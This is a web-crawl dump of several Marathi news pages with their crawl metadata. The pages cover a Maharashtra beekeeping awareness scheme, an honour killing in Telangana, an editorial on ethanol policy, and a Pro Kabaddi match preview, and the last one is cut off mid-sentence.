शंकर प्रेरणा स्रोत Quotes अनमोल वचन मेरे विचार बाल साहित्य पंचतंत्र की कहानियाँ बच्चों की कविताएं बच्चों की कहानियां मनोरंजन हँसी मज़ाक राजीव दीक्षित खान-पान और सेहत साहित्य लाइव पत्रिका साहित्य लाइव रंगमंच 2018\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.77, "bucket": "all"} {"url": "http://www.agrowon.com/agrowon-news-marathi-state-government-will-implement-honey-bee-friend-plan-maharashtra-8485", "date_download": "2018-09-25T17:57:05Z", "digest": "sha1:TATXFOMOOPWEXAKXLSZQB3NKCOYE2AKI", "length": 18326, "nlines": 150, "source_domain": "www.agrowon.com", "title": "agrowon news in marathi, state government will implement honey bee friend plan, Maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n​​राज्य सरकार राबविणार मधुमक्षिका मित्र उपक्रम\n​​राज्य सरकार राबविणार मधुमक्षिका मित्र उपक्रम\nमंगळवार, 22 मे 2018\nपुणे : शहरी भागात मधुमक्षिकांचे पोळे दिसले, की ते पेस्टकंट्रोल करून पाडले जाते, ते नष्ट केले जाते. मधुमक्षिकांबद्दल असलेली अपुरी माहिती आणि गैरसमाज यांतून हे प्रकार वाढले आहे. मधुमक्षिकांचे संरक्षण व संवर्धन व्हावे याबरोबरच मधुमक्षिकापालन या उद्योगासंदर्भात जनजागृती व्हावी, या उद्देशाने महाराष्ट्र सरकारच्या खादी व ग्रामोद्योग मंडळाच्या वतीने ‘मधुमक्षिका मित्र’ हा उपक्रम राबविला जाणार असल्याची घोषणा मंडळाचे सभापती विशाल चोरडिया यांनी केली.\nपुणे : शहरी भागात मधुमक्षिकांचे पोळे दिसले, की ते पेस्टकंट्रोल करून पाडले जाते, ते नष्ट केले जाते. मधुमक्षिकांबद्दल असलेली अपुरी माहिती आणि गैरसमाज यांतून हे प्रकार वाढले आहे. मधुमक्षिकांचे संरक्षण व संवर्धन व्हावे याबरोबरच मधुमक्षिकापालन या उद्योगासंदर्भात जनजागृती व्हावी, या उद्देशाने महाराष्ट्र सरकारच्या खादी व ग्रामोद्योग मंडळाच्या वतीने ‘मधुमक्षिका मित्र’ हा उपक्रम राबविला जाणार असल्याची घोषणा मंडळाचे सभापती विशाल चोरडिया यांनी केली.\nसंयुक्त राष्ट्राच्या सर्वसाधारण सभेत नुकताच २० मे हा दिवस जागतिक मधुमक्षिका दिन म्हणून जाहीर करण्यात आला. त्या निमित्ताने महाराष्ट्र राज्य खादी व ग्रामोद्योग मंडळ व हातकागद संस्था यांच्च्या वतीने हातकागद संस्थेच्या आवारात असलेल्या महाखादी परिसरात पहिल्या जागतिक मधुमक्षिका दिनाचे औचित्य साधत तीनदिवसीय मधुमक्षिकापालन महोत्सवाचे १९ ते २१ मे या कालावधीत आयोजन करण्यात आले होते. त्याचे उद्‌घाटन श्री. चोरडिया यांच्या हस्ते करण्यात आले. त्या वेळी चोरडिया बोलत होते.\nया वेळी केंद्रीय मधुमक्षिका संशोधन आणि प्रशिक्षण केंद्राचे संचालक दीप वर्मा, मध उद्योग तज्ज्ञ नाना क्षीरसागर, मध उद्योजक प्रशांत सावंत, सारिका सासवडे, जिल्हा ग्रामोद्योग अधिकारी अनिल खेडकर, हातकागद संस्थेचे संचालक रमेश सुरुंग आदी या वेळी उपस्थित होते.\nश्री. चोरडिया म्हणाले, की मधुमक्षिका हा मनुष्याला उपयुक्त असा कीटक आहे. मधुमक्षिकांकडून आपल्याला तब्बल १९ प्रकारचे मध मिळतात इतकेच नाही, तर मधुमक्षिका पालनाशिवाय आपण त्याच्याशी संबंधित तब्बल ४६ प्रकारचे उद्योगही करू शकतो. मधुमक्षिकांची हीच उपयुक्तता आपण सामान्य नागरिकांना समजावून सांगण्यासाठी ‘मधुमक्षिका मित्र’ हा उपक्रम आम्ही हाती घेत आहोत. या अंतर्गत प्राणिमित्र, सर्पमित्र यांसारखेच मधुमक्षिकांच्या रक्षणासाठी आम्ही प्रयत्नशील असून, त्यासाठी लवकरच कॉल सेंटरची उभारणी करण्यात येईल. याबरोबरच पुणे शहराला ‘हनी बी फ्रेंडली सिटी’ करण्यासाठीदेखील आम्ही प्रयत्न करणार आहोत.\nमहाबळेश्वर येथे दोन एकर जागेत लवकरच देशातील पहिले ‘हनी बी पार्क’ सुरू करण्याची आमची योजना असून, यामध्ये मधुमक्षिकापालन कसे करावे, कसे केले जाते, त्याच्या पद्धती, मध कसा काढावा, मधाचे पोळे कसे असते, मधुमक्षिकांचे काम कसे चालते यांसारख्या अनेक महत्त्वाच्या गोष्टींची माहिती देण्याचा आम्ही प्रयत्न करणार आहोत. मधुमक्षिकांबद्दलच्या जागृती बरोबरच या ठिकाणी एक टुरिस्ट हब कम माहिती केंद्र बनविण्याचा आमचा हा एक प्रयत्न असेल, असेही चोरडिया यांनी सांगितले.\nमधुमक्षिका दिनानिमित्त तीनदिवसीय मधमाश्यापालन महोत्सवाविषयी हातकागद संस्थेचे संचालक रमेश सुरुंग यांनी केले सांगितले. एन. के. पाटील यांनी कार्यक्रमाचे सूत्रसंचलन केले, तर रमेश सुरुंग यांनी आभार मानले.\nपुणे महाराष्ट्र उपक्रम महाबळेश्वर\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00181.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/national/telangana-man-brutally-hacked-death-broad-daylight-front-pregnant-wife-305253.html", "date_download": "2018-09-25T17:47:38Z", "digest": "sha1:XFS4NBJ762NAVJCH6FF5563QHDGBXXYD", "length": 15640, "nlines": 132, "source_domain": "lokmat.news18.com", "title": "तिच्या देखत पतीची भररस्त्यावर कोयत्याने वार करून हत्या", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nतिच्या देखत पतीची भररस्त्यावर कोयत्याने वार करून हत्या\nत्यांची चुकी एवढीच होती की त्यांनी प्रेम केलं...\nमहेश तिवारी, तेलंगाणा, 14 सप्टेंबर : दोघांचं एकमेकांवर प्रचंड प्रेम, पण मुलीकडून घरच्यांचा विरोधात...अखेर घरच्यांचा विरोध डावलून दोघेही पळून जावून आपला संसार थाटतात...पण त्यांच्या या संसाराला त्यांच्याच जन्मदात्यांची नजर लागते. आपल्या मुलीने दुसऱ्या जातीतल्या मुलासोबत लग्न केलं याचा राग धरून मुलीसमोरच तिच्या प्रियकराचा निर्घृण खून केला जातो...सैराट सिनेमात घडवा असा हा अंगावर काटा आणणारा प्रसंग तेलंगाणामध्ये घडलाय. त्यांची चुकी एवढीच होती की त्यांनी प्रेम केलं...\nतेलंगणाच्या नलगोंडा जिल्हयातल्या मिर्यालगुडा इथं आज दिवसाढवळया एका प्रेम विवाहीत जोडपं जात असतांना पतीची पत्नीसमोर धारदार कोयत्याने हत्या करण्यात आल्याने खळबळ उडालीये. हा संपुर्ण प्रकार सीसीटीव्हीत कैद झाला असून मुलीच्या प्रेमविवाहाला विरोध असल्याने मुलीच्या वडिलासह काकाला या प्रकरणात पोलिसांनी हत्येचा आरोपी बनवलंय.\nमिरयालगुडा येथील मारोतीराव या नामांकीत बिल्डराची मुलगी अमृत वर्षीणी आणि तिचा शाळकरी मिञ प्रणयने आठ महिन्यापूर्वी घरच्याचा विरोध पत्कारुन आंतरजातीय विवाह केला होता. मुलीच्या वडिलाकडून या जोडप्याला अनेकदा धमक्याही मिळाल्या होत्या. पण तरीही त्यांनी कुणाची तमा बाळगली नाही.\nघरदार सोडून दोघांचा तेलंगाणाच्या मिर्यालगुडा भागात दोघे गुण्यागोविंदाने राहत होते. त्यांच्या या दोघांच्या संसारात तिसरा पाहुणाही येणार आहे. नव्या पाहुण्याचे स्वप्न पाहुन दोघेही आनंदी होती.\nआज सकाळी पाच महिन्याची गर्भवती असलेल्या पत्नी अमृताला घेऊन स्थानिक रुग्णालयात तपासणीसाठी घेऊन जात असताना प्रणयवर अज्ञात इसमाने मागून येऊन कोयत्याने वार केल्या. हा हल्ला इतका भीषण होता की, प्रणय जागीच कोसळला. पतीवर झालेल्या हत्येने अमृताही जागेवर बेशुद्ध झाली.\nहल्ला करणारा हल्लेखोर तेथून पळून गेला. स्थानिकांनी धावाधाव करून पोलिसांना बोलावलं. पोलिसांनी घटनास्थळी दाखल झाले आणि पंचनामा केला. अमृताच्या फिर्यादीवरून\nपोलिसांनी अमृताच्या वडील आणि काकांवर हत्येचा गुन्हा दाखल केलाय. आपल्या मुलींचा संसार उद्धवस्त करणारे हे दोघेही फरार झाले आहेत. पोलीस त्यांचा शोध घेत आहे.\nViral Video : बेफाम नाचणाऱ्या या स्कूलगर्लच्या व्हिडिओतली ही मुलगी कोण\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: amruta and pranavअमृत वर्षीणीतेलंगाणाप्रणय\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00181.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.agrowon.com/agricultural-stories-marathi-agrowon-agralekh-ethenol-7944", "date_download": "2018-09-25T17:58:41Z", "digest": "sha1:JUJA47XFRBUYKYNDILDGC2WGPV2QMWOO", "length": 18387, "nlines": 147, "source_domain": "www.agrowon.com", "title": "agricultural stories in marathi, agrowon agralekh on ethenol | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nइथेनॉल निर्मितीस प्रोत्साहन कधी\nइथेनॉल निर्मितीस प्रोत्साहन कधी\nशनिवार, 5 मे 2018\nइथेनॉल हे पर्यावरणप्रिय इंधन आहे. याचा पैसा या देशातील शेतकऱ्यांच्या खिशात जाणार आहे. त्यामुळे शासनासह तेल कंपन्यांचे धोरण इथेनॉलला प्रोत्साहनाचे असायला पाहिजे.\nवर्ष २०१६-१७ मध्ये आपले इथेनॉल उत्पादन ६६.५ कोटी लिटर होते. त्यावेळी आपण पेट्रोलमध्ये केवळ २.१ टक्के इथेनॉल मिसळू शकत होतो. २०१७-१८ मध्ये इथेनॉल उत्पादनात साखर कारखान्यांनी दुप्पटीने वाढ करून (१३९.५ कोटी लिटर) पेट्रोलमध्ये ४ टक्क्यांपर्यंत इथेनॉल मिश्रण आपल्याला साध्य झाले आहे. चालू वर्षातही केंद्र शासनाने पेट्रोलमध्ये १४० कोटी लिटर इथेनॉल मिश्रणाचे ठरविले आहे. खरे तर तेल कंपन्यांना पेट्रोलमध्ये १० टक्के इथेनॉल निर्मितीचे उद्दिष्ट ठेवण्यात आले आहे. याकरिता २०१७-१८ च्या इथेनॉल उत्पादनाच्या दुप्पटीहून अधिक उत्पादन करावे लागेल. साखर कारखान्यांची तेवढी इथेनॉल निर्मितीची तयारीदेखील आहे. पुढील दोन वर्षात इथेनॉल निर्मितीसाठी पुरेशी मळीदेखील उपलब्ध असणार आहे. परंतू तेल कंपन्या इथेनॉलची खरेदी करताना नेहमीच नाक मुरडत असतात. मुळात ते कमी प्रमाणात इथेनॉल खरेदीचे टेंडर काढतात. त्यानंतर त्याची उचल करण्यात टाळाटाळ करतात. इथेनॉलची साठवण करण्यातही कंपन्या इच्छुक नसतात. गंभीर बाब म्हणजे कारखान्यांकडून इथेनॉलचा पुरवठा कमी झाल्यास त्यांच्यावर दंडात्मक कारवाई करणाऱ्या तेल कंपन्या बहुतांश वेळा इथेनॉलची कारखान्यांकडून अपेक्षित उचल मात्र करीत नाहीत.\nदराच्या बाबतीत बोलायचे झाले तर गेल्या वर्षी जवळपास ४९ रुपये प्रतिलिटरवर इथेनॉलचे दर पोचले होते. त्यातच १२.५ टक्के अबकारी करसुद्धा शासनाने माफ केला होता. आता इथेनॉलचे दर ठरविण्याचा अधिकार कंपन्यांना दिल्यानंतर त्यांनी हा दर ४० रुपये ८५ पैशांवर आणून ठेवलाय. विशेष म्हणजे सध्या इथेनॉलवर १८ टक्के जीएसटी लावण्यात आला आहे. पेट्रोलचे दर सध्या ८० रुपये प्रतिलिटरच्या वर गेलेले आहेत. आपल्याला लागणारे सुमारे ८० टक्के इंधन आपण आयात करतो. यावर मोठे परकीय चलन खर्च होते. या सर्व पार्श्वभूमीवर पेट्रोलला पूरक अथवा पर्यायी ठरणाऱ्या इथेनॉलचे दर ५० रुपये प्रतिलिटर ठेवायला काय हरकत आहे. यावर केंद्र शासनाबरोबर तेल कंपन्यांनी विचार करायला हवा.\nयावर्षी साखरेच्या अतिरिक्त उत्पादनाने दर कोसळून उद्योगाचे अर्थकारण बिघडले आहे. पुढील दोन हंगामातही मोठ्या प्रमाणावर उसाचे गाळप होऊन साखर उत्पादन वाढून दर पडण्याची भीती यातील जाणकार व्यक्त करतात. ब्राझील हा देश साखरेची हंगामातील उपलब्धता, त्यास मिळणारा दर याचा आढावा घेऊन साखरेला का इथेनॉलला प्रोत्साहन द्यायचे, असा निर्णय घेते. आपण मात्र जुन्या जुगाडातच अडकून पडलो असून त्यातून बाहेर निघायचा विचारच करीत नाही, हे घातक आहे. देशाला साखर कमी पडेल एवढा कमी ऊस आपल्याकडे कधीच नसतो. अशावेळी शिल्लक साठा, पुढील वर्षीच्या साखर उत्पादनाचा अंदाज आणि आपली गरज याचा आढावा घेऊन अतिरिक्त उसापासून थेट इथेनॉल निर्मितीस कारखान्यांना परवानगी द्यायला हवी. पेट्रोलमध्ये पाच-दहा टक्के मिसळून काय, १०० टक्के इथेनॉलवर देशात गाड्या चालू शकतात. अशावेळी कारखान्यांना इथेनॉल निर्मिती करू देऊन त्यांनाच ते विकू द्यावे. इथेनॉल हे पर्यावरणप्रिय इंधन आहे. याचा पैसा या देशातील शेतकऱ्यांच्या खिशात जाणार आहे. त्यामुळे शासनासह तेल कंपन्यांचे धोरण इथेनॉलला प्रोत्साहनाचे असायला पाहिजे. यात शेतकऱ्यांसह देशाचे हित आहे. परंतू तेल कंपन्यांसह शासनालाही आयातीच्या इंधनातच अधिक रस दिसून येतो, ही बाब दुर्दैवी म्हणावी लागेल.\nइंधन साखर ब्राझील ऊस\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00182.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/pro-kabaddi-league-2017-jaipur-pink-panthers-lack-of-reliable-back-up-players-could-derail-title-bid/", "date_download": "2018-09-25T17:01:54Z", "digest": "sha1:2UEVVSWOXI6RTB2JDBRH6BGALIEH4BKD", "length": 7340, "nlines": 59, "source_domain": "mahasports.co.in", "title": "प्रो कबड्डी: आज दबंग दिल्ली आणि पिंक पँथरमध्ये आमने सामने -", "raw_content": "\nप्रो कबड्डी: आज दबंग दिल्ली आणि पिंक पँथरमध्ये आमने सामने\nप्रो कबड्डी: आज दबंग दिल्ली आणि पिंक पँथरमध्ये आमने सामने\nप्रो कबड्डीच्या ५व्या मोसमात आज दुसऱ्या दिवशी सामना होणार आहे दबंग दिल्ली आणि जयपूर पिंक पँथर संघामध्ये. जयपूरचा संघ हा पहिल्या मोसमात विजेता संघ तर मागील चौथ्या मोसमात उपविजेता. दबंग दिल्लीचा संघ सेमी फायनलमधेच येण्यासाठी आजपर्यंत झगडतो आहे. या नवीन मोसमात दबंग दिल्ली दबंग होईल कि नाही हे पाहणे औत्सुक्याचे ठरेल.\nजयपूरचा संघ या मोसमात विजेते पदाचा प्रबळ दावेदार आहे. जयपूर संघाकडे प्रो कबडीच्या इतिहासातील सर्वात यशस्वी डिफेंडर आणि ऑल राउंडर असणारा मंजीत चिल्लर आहे, जो या वर्षी संघाचा कर्णधारही असणार आहे. जसवीर सिंग नेहमीप्रमाणे जयपूरचा मुख्य रेडरची भूमिका बजावेल तर संघाने विकत घेतलेला गुणी रेडर के. सिल्वामानी हा डू ऑर डाय रेडरची भूमिका बजावेल. संघाकडे उत्तम डिफेंडरही आहेत.\nदबंग दिल्लीचा संघ हा रेडींगच्या बाबतीत प्रामुख्याने रवी दलाल या खेळाडूवर अवलंबून असणारा आहे. डिफेन्समध्ये संघ थोडा मजबूत भासत आहे. दिल्लीकडे निलेश शिंदे आणि बाजीराव होडगे हे उत्तम राइट कॉर्नर आणि राइट कव्हरची जोडी आहे. दिल्लीचा कर्णधार मिराज शेख रेडींग आणि डिफेन्स दोन्हीमध्ये संघासाठी उत्तम कामगिरी करू शकतो.\nआजच्या सामन्यात जयपूचे पारडे थोडे जड असेल कारण खेळाच्या साऱ्या पातळ्यांवर हा संघ मजबूत भासत आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर 